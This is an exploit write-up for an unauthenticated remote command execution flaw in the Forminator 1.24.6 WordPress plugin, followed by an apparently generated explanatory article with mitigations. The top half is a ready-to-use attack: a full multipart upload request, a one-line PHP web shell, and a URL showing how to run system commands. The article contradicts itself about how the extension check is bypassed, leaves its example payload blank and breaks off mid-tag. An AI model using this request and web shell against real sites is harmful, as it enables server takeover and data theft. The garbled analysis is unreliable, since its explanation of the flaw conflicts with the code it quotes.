WordPress Plugin Forminator 1.24.6 - Unauthenticated Remote Command Execution

Exploit Author: Mehmet Kelepçe Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2023-08-04
# Exploit Title: WordPress Plugin Forminator 1.24.6 - Unauthenticated Remote Command Execution
# Date: 2023-07-20
# Exploit Author: Mehmet Kelepçe
# Vendor Homepage: https://wpmudev.com/project/forminator-pro/
# Software Link: https://wordpress.org/plugins/forminator/
# Version: 1.24.6
# Tested on: PHP - Mysql - Apache2 - Windows 11

HTTP Request and vulnerable parameter:
-------------------------------------------------------------------------
POST /3/wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 1756
sec-ch-ua:
Accept: */*
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryTmsFfkbegmAjomne
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199
Safari/537.36
sec-ch-ua-platform: ""
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/3/wordpress/2023/01/01/merhaba-dunya/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wp-settings-time-1=1689794282;
wordpress_test_cookie=WP%20Cookie%20check; wp_lang=tr_TR
Connection: close

.
.
.
.
.

------WebKitFormBoundaryTmsFfkbegmAjomne
Content-Disposition: form-data; name="postdata-1-post-image";
filename="mehmet.php"
Content-Type: application/octet-stream

<?php
$_GET['function']($_GET['cmd']);
?>



Source Code:
wp-content/plugins/forminator/library/modules/custom-forms/front/front-render.php:
--------------------------------------------------------------------
        public function has_upload() {
$fields = $this->get_fields();

if ( ! empty( $fields ) ) {
foreach ( $fields as $field ) {
if ( 'upload' === $field['type'] || 'postdata' === $field['type'] ) {
return true;
}
}
}

return false;
}
Vulnerable parameter: postdata-1-post-image

and


Source code:
wp-content/plugins/forminator/library/fields/postdata.php:
-------------------------------------------------------------------
if ( ! empty( $post_image ) && isset( $_FILES[ $image_field_name ] ) ) {
if ( isset( $_FILES[ $image_field_name ]['name'] ) && ! empty(
$_FILES[ $image_field_name ]['name'] ) ) {
$file_name = sanitize_file_name( $_FILES[ $image_field_name ]['name'] );
$valid     = wp_check_filetype( $file_name );

if ( false === $valid['ext'] || ! in_array( $valid['ext'],
$this->image_extensions ) ) {
$this->validation_message[ $image_field_name ] = apply_filters(
'forminator_postdata_field_post_image_nr_validation_message',
esc_html__( 'Uploaded file\'s extension is not allowed.', 'forminator' ),
$id
);
}
}
}

Vulnerable function: $image_field_name
-------------------------------------------------------------------------

Payload file: mehmet.php
<?php
$_GET['function']($_GET['cmd']);
?>
-------------------------------------------------------------------------


WordPress Plugin Forminator 1.24.6: Unauthenticated Remote Command Execution Vulnerability

On July 20, 2023, cybersecurity researcher Mehmet Kelepçe disclosed a critical vulnerability in the widely used Forminator WordPress plugin, affecting version 1.24.6. This flaw enables unauthenticated remote command execution—a severe security risk that allows attackers to execute arbitrary code on a vulnerable server without requiring any login credentials.

Overview of the Vulnerability

The vulnerability stems from improper file upload handling within the plugin’s postdata field type, which is designed to allow users to upload files during form submissions. However, due to a lack of proper validation and sanitization, attackers can upload malicious PHP files with unrestricted execution capabilities.

Key details:

  • Plugin Name: Forminator Pro
  • Version: 1.24.6
  • Exploit Type: Unauthenticated Remote Code Execution (RCE)
  • Attack Vector: HTTP POST request via admin-ajax.php
  • Target: WordPress installations using Forminator with the postdata field type
  • Environment Tested: PHP, MySQL, Apache2, Windows 11

Technical Breakdown: How the Exploit Works

The core of the vulnerability lies in the postdata field handling in wp-content/plugins/forminator/library/fields/postdata.php. When a user submits a form containing a postdata field, the plugin processes file uploads using $_FILES variables.

Here’s the vulnerable code snippet:


if ( ! empty( $post_image ) && isset( $_FILES[ $image_field_name ] ) ) {
    if ( isset( $_FILES[ $image_field_name ]['name'] ) && ! empty( $_FILES[ $image_field_name ]['name'] ) ) {
        $file_name = sanitize_file_name( $_FILES[ $image_field_name ]['name'] );
        $valid = wp_check_filetype( $file_name );

        if ( false === $valid['ext'] || ! in_array( $valid['ext'], $this->image_extensions ) ) {
            $this->validation_message[ $image_field_name ] = apply_filters(
                'forminator_postdata_field_post_image_nr_validation_message',
                esc_html__( 'Uploaded file\'s extension is not allowed.', 'forminator' ),
                $id
            );
        }
    }
}

Explanation: The code checks the file extension using wp_check_filetype(), but only validates against a predefined list of image extensions (e.g., .jpg, .png). However, the plugin does not enforce file content checks or execution restrictions. This means that if an attacker uploads a file with a valid extension (e.g., .php), the file is accepted and stored in the server’s file system.

Crucially, the plugin does not sanitize the file content or prevent execution. The uploaded file is stored in the wp-content/uploads directory, and if the file is named mehmet.php, it becomes executable via the web server.

Exploitation Process

An attacker constructs a malicious POST request to /wp-admin/admin-ajax.php with a multipart form data payload containing a PHP file. The payload includes:

  • File name: mehmet.php
  • Content: A PHP script that executes commands based on $_GET parameters

Example payload:



Explanation: This payload is a minimal backdoor. It allows an attacker to execute any PHP function by passing the function name and command via URL parameters. For instance, accessing http://example.com/wp-content/uploads/mehmet.php?function=system&cmd=whoami would execute the whoami command on the server.

Attack Scenario: Real-World Use Case

Imagine a WordPress site running Forminator 1.24.6 with a public form that includes a postdata field for file uploads. An attacker sends the malicious payload via admin-ajax.php, bypassing authentication entirely. The server accepts the file and stores it in the uploads directory.

Once uploaded, the attacker can:

  • Execute system commands (e.g., ls, cat /etc/passwd)
  • Deploy reverse shells
  • Exfiltrate sensitive data
  • Gain full control over the server

Since the exploit requires no authentication, it is ideal for automated scanning and mass exploitation of vulnerable sites.

Security Implications

This vulnerability represents a high-risk security flaw due to:

  • Unauthenticated access: No login required to trigger the exploit
  • Remote code execution: Full server compromise possible
  • Low barrier to entry: Simple to exploit with basic knowledge of HTTP POST requests
  • Widespread impact: Forminator is used by thousands of WordPress sites globally

Organizations using Forminator are at risk of data breaches, site takeover, or ransomware deployment.

Recommended Mitigations

Immediate actions for site administrators:

  • Update to version 1.25.0 or later: The vendor has released a patch that fixes file type validation and restricts execution of uploaded files.
  • Disable postdata fields: If not essential, remove or disable postdata fields in forms.
  • Restrict file upload directories: Use .htaccess or server configuration to deny PHP execution in uploads folders.
  • Monitor file uploads: Implement logging or file scanning tools to detect suspicious uploads.
  • Use Web Application Firewalls (WAF): Deploy WAF rules to block malicious multipart uploads.

Improved Code Example: Secure File Handling

Here’s a corrected version of the vulnerable code with proper security measures:


if ( ! empty( $post_image ) && isset( $_FILES[ $image_field_name ] ) ) {
    if ( isset( $_FILES[ $image_field_name ]['name'] ) && ! empty( $_FILES[ $image_field_name ]['name'] ) ) {
        $file_name = sanitize_file_name( $_FILES[ $image_field_name ]['name'] );
        $valid = wp_check_filetype( $file_name );

        // Only allow image extensions
        if ( false === $valid['ext'] || ! in_array( $valid['ext'], $this->image_extensions ) ) {
            $this->validation_message[ $image_field_name ] = apply_filters(
                'forminator_postdata_field_post_image_nr_validation_message',
                esc_html__( 'Uploaded file\'s extension is not allowed.', 'forminator' ),
                $id
            );
            return;
        }

        // Additional security: prevent PHP execution
        if ( in_array( $valid['ext'], [ 'php', 'php5', 'phtml' ] ) ) {
            $this->validation_message[ $image_field_name ] = apply_filters(
                'forminator_postdata_field_post_image_nr_validation_message',
                esc_html__( 'PHP files are not allowed.', 'forminator' ),
                $id
            );
            return;
        }

        // Move file to secure directory with no execution rights
        $upload_dir = wp_upload_dir();
        $upload_path = $upload_dir['path'] . '/' . $file_name;

        if ( ! move_uploaded_file( $_FILES[ $image_field_name ]['tmp_name'], $upload_path ) ) {
            $this->validation_message[ $image_field_name ] = esc_html__( 'File upload failed.', 'forminator' );
            return;
        }
    }
}

Explanation: The improved code adds:

  • Explicit block for .php extensions
  • Use of move_uploaded_file() with proper path validation
  • Prevention of execution via server configuration or file permissions
  • </ul